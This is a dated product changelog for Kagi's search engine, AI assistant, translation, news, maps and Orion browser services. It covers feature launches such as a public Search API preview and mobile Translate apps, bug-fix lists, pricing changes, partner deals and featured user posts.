The current trend is an elegant, transparent border seen on many browsers. The problem is, they don't match Apple's design language. So, what did we do?

As we usually do: we made it an option! And we took it even further: transparency, solid colors, gradients, and even an automatic color-match with the website for total immersion.

This option is exclusively available to Orion+ subscribers.

Orion+
Orion is your free browser, but we offer a support plan to maintain the independence that guarantees your data is not, and will never be, sold to advertisers—or worse.

We have a dedicated website where you can download all the versions we currently support, as well as any we may support in the future (macOS, iOS, iPadOS, Windows, and Linux): https://orionbrowser.com

Kagi News & Kagi Translate

Kagi News and Kagi Translate have both been successes that took us by surprise.

Kagi News users from all over the world loved being able to read their news in the language of their choice, stress-free, and even add new topics.

Kagi Translate users loved the contextual features that provide a spectacular translation quality — far beyond what typical machine translation offers.

But these unexpected successes led to a massive spike in our costs for applications offered for free.

As a result, we have temporarily removed translations and left access to the articles’ original languages as well as English. Kagi Translate will be back in the coming days as a subscription-based service.

Thank you for your patience and your trust 🙏 we hope to have everything up and running again very soon!

Other improvements and bug fixes

Kagi Search

Kagi Assistant

June 16th, 2026 - Search widgets catching up, Assistant starts fresh #

Bringing search widgets up to speed

We’re starting a broader effort to improve our search widgets! First up: sports scores and dice rolling.

Sports scores now show up in a sidebar next to search results, so you can quickly check upcoming games, live scores, and recent results, just in time for the World Cup .

A screenshot of a Kagi search results page for `world cup games` displaying FIFA World Cup 2026 scheduling information and a side panel showing live and finished match results for various international groups.

And we’ve also added dice rolling support for all you gamers out there, in case you ever need to roll a d20 , 2d4 + 2 , or perhaps even 8d6 .

The new Kagi Assistant is here

Over the last few weeks, we’ve been rolling out a new Kagi Assistant experience. Most of you are already using it, and today we’re officially retiring the old assistant.

This is more than a visual refresh, we rebuilt the Assistant experience around a new layout, smoother web and mobile use, and a lot of UX improvements that add up quickly.

And just as importantly, this gives us the foundation we need for the next set of Assistant improvements we’ve been working towards.

Note: there is one notable change - folders have replaced tags. This means each thread can now belong to only one folder. We appreciate this is a downgrade for users who relied on multiple tags per thread, and we don’t want to handwave that away. We made this tradeoff because folders give Assistant a simpler, more predictable organisation model, and because multi tag usage was relatively low: about 20% of active accounts used tags at all, and appx 4% had any thread with more than one tag.

Still, for those affected, we understand this change may be frustrating. Thank you for bearing with us as we build towards a stronger Assistant experience!

Kagi Translate update

We've paused free access to Kagi Translate while we sort out running costs, so you'll need to be signed in to use it. If you have an active subscription, Translate still works. Sign in on translate.kagi.com or in the mobile apps. We share more details on this decision in this blog post .

Other improvements and bug fixes

Kagi Search

Kagi APIs

  • NEW: Extraction now keeps links from the original document, to enable deeper crawling flows.
  • NEW: Related searches is now part of the API responses, with more metadata than the v0 version where applicable.
  • NEW: Per-key cost tracking is now enabled. You can select a key in the usage page to see the specific key cost attached. (Cost tracking only available from when we deployed, historic data is not present.)
  • Fix: Extraction is now faster and more reliable.
  • Fix: Personalization rule types are now correctly validated with the doc types.
  • Fix: Various other internal improvements for a more stable experience.

Kagi Assistant

Kagi Translate

Post of the week

This week's featured social media mention:

Bluesky post from public health guy saying: been using it for a few years and it's basically my third most important subscription now, after internet and water

Featured Kagi tip 💡

Here's a guide on how to make Kagi truly yours with custom CSS. Tweak colors, fonts, and layout, hide elements you don't need, or apply a community theme for a search experience that looks exactly how you want.

Collage of Kagi Search screenshots showing custom CSS themes, with handwritten labels pointing to a high contrast view for low vision, glassy image search effects, a tighter compact layout, and a custom color scheme palette.

May 21st, 2026 - Search API preview opens to all users #

Kagi Search API is now in public preview

Today we’re making the Kagi Search API preview publicly available, giving builders access to Kagi search across web, images, videos, news, and podcasts. The API is ready to use today, and we’re using this preview to transition existing beta API users, collect feedback, and finish the remaining launch details before the official announcement.

As a thank you to our subscribers, we’ve added $5 in API credits to your account. You can use them right away to try the API, explore what’s possible, and see how it fits into your workflow.

Explore the API , read the docs , and check pricing to get started!

The API is not just a generic search endpoint, queries can inherit the preferences attached to the Kagi account behind the API key, including lenses, upranks, downranks, and blocklists, so applications can search through the same trusted and filtered view of the web that users have already shaped in Kagi.

Please send us candid feedback : what’s confusing, missing, broken, or unexpectedly good! Try it out !

Search

Incognito-only mode for Privacy Pass

Our Privacy Pass extension, which allows you to prove to our servers that you're a subscriber without revealing your identity, has gained a long-awaited toggle that makes it active only in incognito windows, so you can benefit from personalized results most of the time but have added anonymity for your more sensitive browsing. The extension was almost completely rewritten in the process, squashing several long-standing bugs. Try it out!

Assistant

Kagi Translate

New on the Kagi Translate mobile app

Support for custom languages, explanations for alternative translations, word suggestions for dictionary mode, app shortcuts, and many other improvements!

Grab the app if you haven't already: Android or iOS

Post of the week

This week's featured social media mention :

Featured Kagi tip 💡

We put together a guide on using Kagi for academic work - the features, shortcuts, and search habits to get precise, more relevant results.

Around the block

A handful of posts worth sharing with our community:

Kagi video

A quick video from our team to serve as a reminder of what Kagi is all about: the web, and your time on it, belong to you.

April 30th, 2026 - Kagi API preview and ecosystem updates #

Kagi APIs: the same search technology that powers Kagi is opening up to developers

Starting next week, we’ll begin onboarding developers to the Kagi API dashboard. Access will roll out first to people who joined the API waitlist or contacted Kagi support.

With the new Search API developers can bring Kagi Search into their own apps, tools, and AI systems. Here's an early look:

Kagi API developer dashboard Overview page

If you'd like to join this early preview of the Kagi API, please fill out this form. We'll reach out next week!

Kagi Search

New landing

We updated our landing page to bring awareness to Kagi's wider ecosystem beyond search. Check it out!

This is the first of many steps toward helping more people discover everything Kagi has to offer.

Kagi Assistant

  • We increased the Assistant's file upload size limit to 30 MB #8872 @mrzv
  • Degradation of file analysis functionality in Kagi Assistant #10290 @v3max
  • Umlauts are sometimes not displayed in the Quick Assistant #9289 @Kel
  • Universal summarizer "Continue in Assistant" button fails: "We are sorry, this input is not supported. (Invalid Input)" #10368 @Self-Perfection

Kagi News

  • Kagi News -> timeline ambigious #8525 @yeri
  • Story corrections, both from user reports and our own continuous fact-checking. When something turns out to be wrong, we fix it and show a small correction notice on the story, with the changed sentence highlighted on your next visit.
  • Stories can pull in related coverage from other categories, so a single big story can span Science, World, and Tech when it makes sense.
  • Cleaner prose in hard-news categories: fewer filler phrases, less editorializing, more neutral writing.
  • Snappier all around: faster initial load, much faster story search, and browser back/forward now restores the page instead of reloading it.
  • Custom category order syncs reliably across devices now. Fixed several cases where reorders were lost or overwritten.
  • Category tabs use proper ARIA semantics for assistive tech.

Kagi Translate

  • Keyboard shortcuts in Kagi Translate #10306 @mb
  • Poor text formatting of image translations on Kagi Translate app #10016 @San
  • Pinyin absent for alternative translations #10340 @phuertay
  • Add Seto and Võro to Kagi Translate #10324 @mb
  • Correct file extensions when saving translations #10311 @mb
  • Add Montenegrin as an option in Translate #10230 @mb
  • Pasting text in Translate app is hard #10047 @marty
  • Pasted text from books or PDFs is auto-formatted: broken mid-sentence line breaks, hyphenation across lines, and stray whitespace get cleaned up. An undo toast lets you revert if you wanted the original.
  • Auto-language switch now shows a toast with undo, and skips ambiguous cases like uncertain, mixed, or mid-typing input.
  • Pin any language to the top of your list, including custom or non-standard ones.
  • Romanization shown beneath alternative translations into Japanese, Chinese, Korean, Arabic, Russian, and other non-Latin scripts.
  • Link previews (Open Graph) for translated text now show the actual translation when shared on social media, instead of a generic logo. The /extension page also got its own dedicated preview.
  • New languages: Seto, Võro, Montenegrin, and Badini Kurdish (with both Arabic and Latin Hawar scripts).
  • Formal Ukrainian now correctly capitalizes Ви and Ваш.
  • Downloaded translations get the right file extension based on the detected content format.

Post of the week

alt

Follow us and tag us in your comments, we love hearing from you.

Kagi is growing

The team is expanding, and we're looking for talented people who want to help build a better web alongside us. We're hiring for multiple roles, including:

  • Product Designer (UI/UX) : Take strategic ownership of end-to-end design across Kagi's product ecosystem. Apply here.

  • An Education Partnerships Lead : If you believe the most important thing technology can do for students is teach them how to think for themselves, we'd like to talk. Apply here.

  • A Senior Platform Engineer : If you have strong opinions about API contracts, auth correctness, and migrating user data without losing anyone's trust, we'd like to talk. Apply here.

We also have openings for a Senior Search Engineer, Senior Platform Engineer, Senior Full-Stack Developer (Kagi Labs), and an AI Specialist. See the full list of openings here.

Kagi tip of the week 💡

Between AI-image filters, clickbait controls, reverse lookup, and source filters, there's a lot of power hiding behind the Images and Videos tabs. Here's how to get the most out of them .

Kagi art

Less scrolling, more living.

Cartoon illustration with the text "Most search engines want to keep you scrolling. Kagi wants to set you free." Below, two stick figures exchange a glowing box labeled "what you were searching for"—one says "Found it! Now go and enjoy your day!" and the other replies "Perfect!"

April 9th, 2026 - Tuning the Orchestra #

Improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Small Web

  • iOS Small Web Dark Mode App Icon #10136 @Cal4T5
  • Add a tap-based way to switch posts
  • Fixed incorrect text formatting for bookmark titles

Kagi Translate

  • Warning badge when translating to/from language using custom instructions
  • Wordplay and puns lost in translation are now detected and surfaced to the user if word insights are enabled @zark
  • Fixed Spanish text sometimes appearing in French translations on Standard mode @UAguy
  • Fixed Japanese/Chinese/Korean IME first character being lost in empty editor @jisaker
  • Proofreading a Word Document #8810 @jmvleal
  • Translate UI does not respect settings #9944 @mmartinortiz
  • Fix: clear button not working on mobile due to composing state #unknown @unknown
  • Same Language bug #10134 @KikoAnimations
  • Fixed website translation stacking duplicate header bars when switching languages, and Google redirect URLs not being unwrapped
  • Fixed clear button not working on mobile after pasting, restoring history, or during keyboard composition
  • Fixed error when pasting rich text from webpages
  • Fixed translation between same-language variants (e.g. pt-BR to pt-PT) echoing input instead of translating
  • Fixed intermittent text-to-speech 503 errors
  • Renamed "Azeri" to "Azerbaijani" to match ISO 639 standard
  • Korean formality settings now apply to ko-KR locale @Hanbyeol
  • Decreased AI refusals when translating text and images
  • Pin "Detect Language" at the top of the source language selector for quick access @pineafan
  • Add Montenegrin as an option in Translate @mb
  • Improved keyboard shortcuts @mb

Blast from the past

Kagi's April Fools' homepage redesigned as a 1990s web portal, with a bright orange/yellow color scheme, starry border, retro logo, a "Fetch!" search button, nostalgic suggested searches like "Dial-up or ISDN?", sections for blog posts, app downloads, and community links, sidebar ads for Orion Browser and Kagi merch, and a deliberately broken PHP visitor counter in the footer.

The retro homepage we implemented for April Fools may be gone, but many of you are not ready to let go of the nostalgia just yet.

Here's a dedicated URL to bring it back whenever you want: https://kagi.com/?year=1996

This sets a cookie so your device remembers. To undo it, click Back to the Future at the bottom of the page or visit https://kagi.com/?year=present_day

Post of the week

Here is this week's featured social media mention :

Social media post from dietrich at burrito.space reading: "normalize paying for critical social infrastructure (or running it) works for search: i am a happy paying customer of kagi.com, a search engine that finally shows me results relevant to what i search for"

Follow us and tag us in your comments, we love hearing from you!

Kagi tip of the week 💡

Did you know you can set up URL redirects to reroute search results to the sites or frontends you prefer? Here's how , with examples from the community.

Kagi art

AI and ads are a toxic combo. Across the Kagi ecosystem, there are no ads, and we're actively working to keep slop out of your search results. Read more about Kagi's SlopStop initiative here .

Comic showing an "AI Slop Machine" fed by boxes labeled "ADS" via conveyor belt, spewing out piles of slop, while stick figures watch in disgust saying "So THAT'S what it's made from?!"

March 19th, 2026 - Small Web Expansion and Translate goes viral #

Kagi Small Web just got bigger!

Multiple mobile screenshots of the Kagi Small Web app displaying blog posts, topic filters, and content categories

Kagi's Small Web just got a whole lot bigger. With over 30,000 feeds and new browser extensions, mobile apps, and categories, there's never been a better way to discover the independent web.

Read the full announcement here! And check out the TechCrunch coverage .

Kagi Translate goes viral!

On March 16, we launched our latest fun language on Kagi Translate, LinkedIn Speak , and it quickly went viral on social media, generating millions of engagements. Check out some of the press coverage below:

Screenshot of Kagi's translation tool translating 'I got a new job; into 'LinkedIn speak' producing an overly enthusiastic corporate-style announcement with superlatives, gratitude, and a rocket emoji.

Also, a friendly reminder: the Kagi Translate apps launched a few weeks ago and are already earning solid reviews. Go grab them if you haven't yet!

Improvements and fixes

Kagi Search

Kagi Assistant

Kagi Translate

Mobile Apps

Kagi News

Mobile Apps

  • Time Travel : Browse news history by date. Pick any day on the calendar and read past summaries.
    Kagi Time Travel beta interface showing February 2026 calendar with blue dots indicating available historical daily summaries for most dates

  • Content Filter : Hide or blur topics you'd rather skip. Choose from built-in presets or add your own keywords.
    Filter Presets interface for selecting feed topics. Politics section is checked and expanded, showing 11 keywords including trump, biden, election, democrat, republican, congress, senate, parliament, minister, government, and politician. Conflicts section is unchecked and collapsed, showing 12 keywords available

Post of the week

Here is this week's featured social media mention :

Bluesky post from the user "Oskars" which reads: Alright, 
@kagi.com
, I'm hooked. I've been trying it out for a while, and now I don't even want to think about going back to something else. One of the easiest subscriptions to agree to. So much time saved not looking at garbage that isn't what I was searching for.

Don't forget to follow us and tag us in your comments, we love hearing from you!

Kagi Specials

Kagi's dog mascot looking at a monitor displaying Kagibara, another Kagi character with a scratched-out face, with Kagi + EasyOptOuts logos below.

We're excited to welcome the newest addition to our Kagi Specials program: EasyOptOuts ! Kagi members in the U.S. now enjoy 25% off for life.

This is a service that removes your name, address and phone number from 200+ data brokers and people-search sites automatically. Deal is reciprocated here for any EasyOptOuts subscribers in your network who want to try Kagi.

Kagi art

"Free" search costs more than you think. With Kagi, you get zero ads, zero tracking, and AI on your terms.
A comic flowchart comparing other search (free) vs. Kagi's 5 dollars a month. The free search forces AI results with ads and takes your data regardless. Kagi lets you choose AI or not, with no ads and no tracking.

Feb 26th, 2026 - Smoothing the edges #

Kagi Search

Wolfram|Alpha widget supercharged

We're introducing a new and improved Wolfram|Alpha widget with support for rich equations, plots, better region-dependent queries, and more!

Kagi search results for 'derivative x ^ 1/2' showing a math widget with the integral of 1/(2√x) dx = √x + constant, a small plot of the function near x = 0, and the note 'no roots exist.'

Other improvements and bug fixes

PS, we've started publishing results for your SlopStop reports -- see them here . More details in the upcoming changelog.

Kagi Assistant

Kagi Maps

Kagi Translate

Kagi Translate - iOS and Android apps

  • Fix needed for Korean word order of "total" count #9718 @Hanbyeol
  • Make “Translate with Kagi” appear directly in Android text selection menu #9801 @Matou
  • Added 'email' writing style for proofreading
  • Added setting to toggle haptics ON/OFF
  • Fixed UI issue on Android where certain elements were being drawn under system bars

Post of the week

Here is this week's featured social media mention :

Screenshot from Bluesky of a post by Bryan Culberson which states: I recently switched to paying for Kagi to replace Google Search, and it is like living in the 2010s again. Search actually works! If I had to choose 10 dollars a month for working search is worth way more to me than a Netflix subscription.

Don't forget to follow us and tag us in your comments, we love hearing from you!

Kagi Specials

Illustrated mascots of both Kagi, a cartoon dog, and Windscribe, a small robot character, alongside the logos of both companies

Kagi is happy to be part of the privacy alliance with Windscribe, a feature-rich VPN with built-in ad and malware blocking and audited no-logs policy.

Through this partnership via Kagi Specials , Kagi members receive a 3-month Windscribe Pro trial, then lock in the Pro plan at just $49/yr for life . In turn, Windscribe members get 3 months of Kagi's Professional plan.

Community creations

If you're using Scribbles to run your blog, you can now add Small Web badges directly to your blog footer, just head to the new "Small Web" section in your blog settings:

Settings panel for selecting built-in Small Web badge icons, showing seven pixel-art badge variants in different sizes and styles with selectable checkboxes.

Kagi on TV!

Kagi was prominently featured as a private alternative to Google on KTLA 5 News, including an interview with Kagi's very own John Bardinelli, who recently joined the team as our Growth Manager.
Screenshot of Kagi Search's homepage on the KTLA channel, in a segment by Rich on Tech

Feb 12th, 2026 - Kagi Translate on Android & iOS: translate anything, anywhere #

Kagi Translate Arrives on Mobile

Kagi Translate is now available as an app for Android and iOS !

The app supports over 248 languages and offers context-aware image translation, live voice-to-voice conversations, and a rich dictionary with audio, to name just a few of its features.

Kagi Translate mobile app interface showing multiple screens including dictionary definitions, voice translation, conversation mode, translation style settings, and text editing features

Read the full announcement and feature highlights here.

Fast Company featured the launch as a privacy-first Google Translate alternative worth noticing. A similar guide was published on The Intelligence, which covers tips and tricks to help users get the most out of Android devices.

Other improvements and bug fixes

Kagi Translate apps

  • Allow removing individual translation history entries in kagi translate mobile app #9774 @alcroito
  • Kagi translate mobile app: Editing text in the middle causes scrolling / jumping around, makes it hard to edit #9758 @alcroito
  • Inconsistent Swipe-to-Go-Back Gesture in Kagi Translate (iOS) #9729 @xx
  • An option to individually delete translations on Kagi Translate #9713 @xx
  • Kagi Translate iOS App reports "No Connection" #9679 @Frank

Kagi Search

We've added a new copy emoji widget!

{search results for the query "flower emoji" showing several flower emojis that are able to be copied}

Kagi Assistant

  • We've made changes to how we phase out older or superseeded models. When a model is being phased out, your Custom Assistants using it will first show a warning for ≈2 weeks. Once the model is fully retired, the Custom Assistant is disabled until you update the model in settings. #5597 @Thibaultmol
  • Larger copy-pasted content is now automatically converted to a .txt file and works like any other attachment. This ensures the full original content is always preserved, even in very large threads that hit context window limits. In most cases, it remains fully within the context window. In longer threads, the original content is stored separately and retrieved as needed.
  • Do not re-rank Assistant threads when their title changes #8434 @dreifach
  • Remove ads/upselling for flagship AI models in Kagi Assistant #9693 @lasu
  • Kagi Assistant customize tab styling error #9688 @gromgrom
  • Performance improvements when submitting prompts on accounts with a lot of threads

Post of the week

Here is this week's featured social media mention :

Social media post from Spencer's Butte's Shadow on Bluesky, praising Kagi search, highlighting its ability to filter out SEO sites and ads, and create search bubbles for legitimate cooking sites only.

Be sure to follow us and tag us in your comments!

Fastmail supports Kagi Search

To mark Safer Internet Day, Fastmail explains why your search engine matters just as much as your email provider when it comes to privacy, and why they recommend Kagi to their users: "Adding Kagi creates a powerful privacy stack".

Addy.io joins Kagi Specials

Side by side graphic of Kagi's logo and Addy's logo

We're excited to welcome Addy.io as a new partner on Kagi Specials ! Addy.io is an email forwarding and alias service that helps protect your privacy by allowing you to create unlimited email aliases.

As part of this partnership, Kagi users can now access exclusive discounts through Kagi Specials, and Addy.io users can discover Kagi through their perks program.

Jan 29th, 2026 - Assistant reliability upgrades and Search refinements #

Waiting for dawn in search

We published a new blog post on the state of search and the critical need for open index access. The dawn of a healthier, user-centric web is possible, but it requires structural change.

https://blog.kagi.com/waiting-dawn-search

Kagi Search

  • We've upgraded our Academic lens! Try it when you want research results drawn from scholarly and professional sources. Ideal for topics like medicine, sports science, or other specialist fields
  • Added functionality for users to manually set their location, improving local search queries. This is part of our weekly incremental improvements to localised search in Kagi.
    A map interface overlay titled 'Select Location on Map' showing Melbourne with a blue marker indicating a selected location. . A 'Save location' button appears at the bottom of the interface.
  • Several accessibility improvements have been made, including corrected roles and proper fieldset semantics for our dropdown menus throughout the site, thanks to Tamara Cook, an accessibility consultant who proactively reached out to us via our support email. Thank you very much for the input!
  • If search fails because no upstream sources responded in time, show Click to Retry #7795 @kirkmc
  • New favicon pixelated when default search engine (Firefox?) #9585 @Replica6
  • Related search suggestion for current search #7781 @Keli
  • Unable to Renew Plan After Reaching Limit in Kagi Assistant #7152 @0rb
  • Orion+ renewal date is in the past #9608 @marcel
  • Control Center is accessible when browsing via privacy pass and features do nothing #9588 @Sludge
  • False summary of wikipedia article #5007 @greyfivenine8244
  • "uploaded file" appears in web search when switching from image search #9566 @Arlo
  • Support define:<term> #6040 @yeri
  • Mobile back to top/search appears too easily #8215 @Numerlor
  • Hide Stats Button Missing #9065 @Timmy256
  • Kagi light theme issue on Steam embedded browser #8384 @JulianGro
  • Programming lens doesn't work #8310 @Khyta
  • Make Wikipedia bang/snap region neutral #8069 @Thibaultmol
  • Incorrect timezone for Kazakhstan #8964 @mxp
  • Related search suggestion for current search #7780 @Keli

Kagi Search Android

Screenshot of the Kagi Browser General Settings interface. It displays multiple options with the setting Open in External Browser highlighted and toggled on.

  • The app now follows the "Open in External Browser" setting, opening search results either in-app or in your default browser

Kagi Assistant

  • Recommended models are now more useful to users. We clearly outline which base models we recommend: best fast (speed), best balanced (speed<>depth), best overall (max quality)
    Kagi Assistant showing an open model picker menu with 'Recommended models' including Kimi K2, GLM-4.7 and Claude 4.5 Opus.
  • We've made several changes to ensure the Assistant reconnects you to any response in progress if your network connection drops or you navigate away from your browser. This means no more loading animations while you wait 🚧
  • Image generation does not work with Research Assistant #9071 @darsnack
  • Kagi Assistant — attached files don't remain attached in edited queries #6652 @dreifach
  • Complex branching scenarios no longer result in duplicate entries in the branch picker or showing < 0 / x >
  • Added Kimi K2.5 models
  • Some Assistant Search Queries Don't Return #8174 @iamjameswalters
  • In Assistant, Kimi K2 (reasoning) is rated with the same speed as K2 despite being described as "much slower" #9665 @RonanCJ
  • Shared thread doesn't show read only UI after clicking away and back in #7951 @Numerlor
  • Change reasoning effort for Claude Opus 4.5 #9610 @kray

Video tutorials and guides

We have a YouTube playlist with all kinds of guides, quick tips and tricks to help you get the most out of your Kagi subscription.

Illustration of a vintage film camera with the YouTube play button logo displayed on its viewfinder screen, with strips of film reel flowing out from the camera against a gray background and Kagi's mascot dog viewing the screen

Post of the week

Here is this week's featured social media mention :

Bluesky post from Connor Feeley saying Kagi is worth the monthly subscription and that despite being on the fence about paying for search, being able to block and change the ranking of sites is worth it to him

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Kagi art

Technology should serve you, not trap or burden you.

Two-panel comic comparing how technology is versus how it should be. Left shows a stick figure trapped inside a blue screen, right shows a figure confidently holding technology as a tool.

Jan 15th, 2026 - New Year tune-up: smoother everything! #

Kagi Search

Kagi Search Android app

We’ve made meaningful improvements to the Kagi Search app — faster performance, smoother overall experience. If you’re on Android, give the update a try.

We also hope this makes it even easier to share Kagi with the people you care about. Let us know what you think !

  • Improved app startup time
  • Updated search home screen with native text editing
  • Updated home screen widgets with faster access to Translate, Summarize and Assistant
  • Add settings to Kagi Search app to autofocus the search bar on launch and to move the search bar to the bottom #9042 @conradsrc
  • Improvements/fixes to the Android app screenshots #5019 @Niraj
  • Android app: Pressing Enter on a physical keyboard should search #8838 @ItsHarper
  • Android app: image, news... etc don't stay selected in the first screen #7207 @Ronzino
  • Android Share Menu: "Assistant" option appears twice, first instance should be labeled "Search" #8773 @artemp84
  • Image Search With Camera #5032 @Wes
  • Add voice search #3270 @Browsing6853
  • Launching translate from the Android widget is very slow #8453 @zslayton
  • Fixed login for Github connected accounts

Other fixes and improvements

Kagi Assistant

  • We upgraded to GLM 4.7 (with thinking variant)
  • Case-agnostic alphabetical sorting for tags #8967 @lolroger
  • Make searching on/off more clear
  • Special characters like German Umlaut (ä, ö, ü etc.) are broken when customizing Assistant #9501 @Felensis
  • The first letter(s) of Grok 4 responses are cut #9484 @4fzx6
  • Problem with unicode characters in assistant's output #9345 @chbug
  • Kagi Assistant Thread Search Performance degradation (WebKit?) #9462 @tockrock
  • Diacritics in filenames prevent document analysis #9361 @noquierouser
  • Allow immediate typing when you load the Assistant #9401 @Thibaultmol-kagi
  • Research (Experimental) can now generate and edit images
  • Model selection window breaks into two lines in CJK languages #9032 @Hanbyeol
  • Kagi Assistant: Renaming a thread does not allow you to select single words or characters in the thread name #8909 @__
  • Assistant lens dropdown sometimes lights purple with no lens selected #9169 @howie
  • Message info now includes timestamp of when the prompt was submitted

Kagi News

  • Time Travel mode to access past daily summaries - available to all during beta, subscriber-only after
  • Paywall indicator for paywalled domains
  • Keyboart shortcuts for navigation do not work as expected @mr-f00
  • Wide screen mode @xatier
  • Added Estonian as UI language @Tarpsvo
  • Heat index graph does not update when refreshing news from notification #9547 @ashemedai
  • Allow user to set a universal reading level for category #9531 @cakeboss
  • Ordering Sources List in Kagi News #9450 @catfriend
  • Links to source articles should be actual links #9273 @r5x

Kagi News Apps (iOS and Android)

  • Faster app launch and improved offline support
  • Pull-to-refresh added to the feed
  • Category settings now include search for easier discovery
  • Sources section in story view now shows the number of publishers and articles
  • Support for selecting multiple content languages, stories are automatically translated to your primary language when needed #8822 @LordDuckingling
  • Exception messages are now localized for better clarity
  • Improved image caching to reduce local storage usage
  • Enhanced layout responsiveness on wide screens, including iPads and tablets
  • General UI improvements across the app

Kagi Translate

  • Help documentation redone (including detailed information about what you can do with URL paramters with Translate)
  • Pinned languages and language history are now synced across devices if settings syncing is enabled
  • Improved speech-to-text
  • Background processing for document translations - start a job, switch tabs or close the browser, and download later
  • Chinese localization tweaks @CTAO
  • Alternatives button does not animate when only two characters are selected @CTAO
  • No minimum text box size causes mobile view to become unusable below certain height #9499 @BenMacphail
  • Japanese Input Issues on Mobile #9496 #9495 @TusedayGhost
  • Clicking 'Show More' long romanicized text hides the box #9394 @theDoctor
  • Alternative translation descriptions appear in target language #9431 @theDoctor
  • Dictionary view pulls in other language tags and categories #9419 @ashemedai
  • Duplicate language suggestions for "Detect Language" #9416 @dreifach
  • Make buttons in Dictionary actual hyperlinks instead of js links #9408 @Thibaultmol
  • Improve 'Dictionary sections' in Kagi Translate #9407 @Thibaultmol
  • Document Wikitionary usage within Kagi Translate Dictionary #9405 @Thibaultmol
  • Backdrop blur doesn't work in Safari on the translate pop-up controls @Carl

Kagi Maps

Post of the week

Here is this week's featured social media mention :

Social media post where user Freddie Gilbraith shares that after a year of using Kagi search, unpersonalized results are consistently better than Google's, suggesting search personalization benefits advertisers over users. Kagi HQ replies explaining their paid search model doesn't track queries, load analytics, or link searches to accounts, keeping searches private and anonymous.

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

2025: Year in Review

Explore the major updates, product launches, milestones and press highlights that defined last year for Kagi.

Kagi logo with '2025: Year in Review' headline on a light background with decorative orange stars and tennis ball icons. Text reads 'This was a big year for Kagi, full of milestones, product launches and team growth. Here are some of this year's highlights

Windscribe partnership & privacy alliance

Three illustrated company mascots belonging to Ente, Windscribe and Kagi in transparent bubbles floating in space. The background features a dark navy starfield with asteroids, stars, and hexagonal geometric patterns.

Kagi has partnered with Windscribe, Notesnook, Addy.io, and Ente to create a privacy-focused alliance. Read the announcement here, and check out our current Kagi Specials .

Kagi around the web

Dec 18th, 2025 - Popular areas land in Kagi Maps #

Kagi Maps

We're continuously improving Kagi Maps, and with the latest release we've added a new data layer: Popular Areas. It highlights the busiest and most frequented spots when you're exploring a new city.

Two side-by-side mobile screenshots displaying map features on kagi.com. The left screen shows a map view with arrows highlighting a layers icon and a 'Popular Areas' option within the layer menu; the caption reads 'Addition of Popular Areas'. The right screen displays business details for Black Crown Coffee Company, with arrows pointing to a menu button and a 'Report an issue' tooltip; the caption reads 'Additional Data & Ability to Report An Issue'

New Global Map Layer:

  • Highlights most popular areas where people congregate near Cafes/Restaurants/Shops/Cultural-Centers

POI Infoboxes have more 3rd party external links:

  • OpenStreetMap, Wikipedia, Google Maps, Apple Maps
  • Reviews on Yelp and TripAdvisor
  • Social media profiles (Facebook, Instagram, Twitter)
  • Reservations via OpenTable
  • easier-to-read opening hours with weekly schedules
  • Direct links to restaurant menus when available

Strengthening ties to OpenStreetMap Community:

  • with ability to Report Map Issues to OpenStreetMap directly. A new "Report an issue" option in Infobox connects you to OpenStreetMap's note system, where you can flag errors or suggest improvements to the underlying map data.

Additional Map Data:

  • POI data now preloads in the background for faster navigation when clicking markers or search results
  • Mobile-optimized zoom controls for smoother touch interaction
  • Sorting preferences (distance, rating, price) now persist across sessions
  • Faster POI on click load-times with use of shorterm caching
  • Middle-click support on search results and sorting buttons

Various ad-hoc bug fixes and database improvements:

  • Improved caching system for POI data reducing redundant API calls
  • Better location cookie handling using kagi_precise_location
  • Various improvements to our POI-matching algorithms
  • UI rendering fixes

Kagi Search

  • Location management is now available in settings, where you can view and update your location at any time. Kagi uses either a coarse location estimated from your IP address or, if you opt in, your device's precise location. This is stored only on your device as a cookie . It supports local-intent searches (e.g. "petrol stations near me") and sets the initial map position in Kagi Maps.
    screenshot of the Kagi settings interface with the 'Search' and 'Privacy' tabs selected. A red box highlights the 'Location' section, which contains a description of how location is determined, a 'Fetch precise location' button, and text indicating the current IP-based location
  • Incorrect geoip location #9194 @klandarey
  • Searching for 'Pop! OS (System76)' redirects to incendar.com #9053 @gigabit-jack
  • Summarizer fails on all YouTube videos, "Sorry, no transcript could be found for this video." #9278 @urrlich
  • Kid accounts cannot select a companion. #9246 @leuchtthurm
  • Quick answer responds in Indonesian, despite results being English #9237 @zq40000
  • Can't get to the consumption page from a team plan account #7265 @Thibaultmol-kagi
  • Add an indicator to the shield for websites marked by Surveillance Watch #8912 @pma_snek
  • !tr as the regional bang for Turkey #6376 @GERGE
  • Quick Answer shifts layout on mobile #9171 @hmnd
  • Context menus for inline news and videos are stuck inside the frame #9127 @pma_snek

Kagi Assistant

You can now effortlessly navigate your threads and jump to specific messages with our new thread scrollbar.

  • We've made the following model upgrades:
    • Grok 4 Fast and GPT 5 have been updated to their latest versions
    • Retired Mistral Medium in favor of Mistral Large
  • Add a column to the Custom Assistants settings table that displays each assistant's associated bang #7440 @jogojapan
  • Kagi Mobile Assistant: Tapping or holding a model name should prompt the model info box #8023 @__
  • Claude output cut off around 6500 tokens #9265 @igakagi
  • When using Web Access, Kagi Assistant searches too few sources #6149 @Mar
  • Buttons to quickly jump between chats in an Assistant thread #9232 @brrrendan
  • Right click on highlighted text cause thinking, search, plan and etc to expend #9117 @rxzlion
  • Assistant using 2024 as the search year in 2025 #8350 @blackbird2150
  • Update Grok Fast to 4.1 #9190 @mitch
  • Sharing page for Assistant broken #9176 @catwars
  • Research Assistant image generation should allow you to specify higher resolution than 1024x1024 #9156 @jmp242
  • Navigating between versions of the same prompt is broken with 3 prompts after page reload in Kagi Assistant #7134 @bsamek

Post of the week

Here is this week's featured social media mention :

Mastodon post from Gonzalo Fernandez Gomez stating: I did it. I am officially a member of the Kagi family. I upgraded as soon as I used up my trial. People said they would never pay for TV. Now everybody does. I'm pretty confident the same will happen with search. It's whether you control your search experience or advertisers do. You choose.

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Is your browser a rat?

Check out this fun video we made for Orion . We also made this comic in collaboration with artist Chaz Hutton to show why we built Orion to be your trusted daily companion for the web:

Stick figure illustrations showing six internet activities with Orion Browser: web exploration, password security, data privacy, ad blocking, and tab management.

End-of-Year Community Event

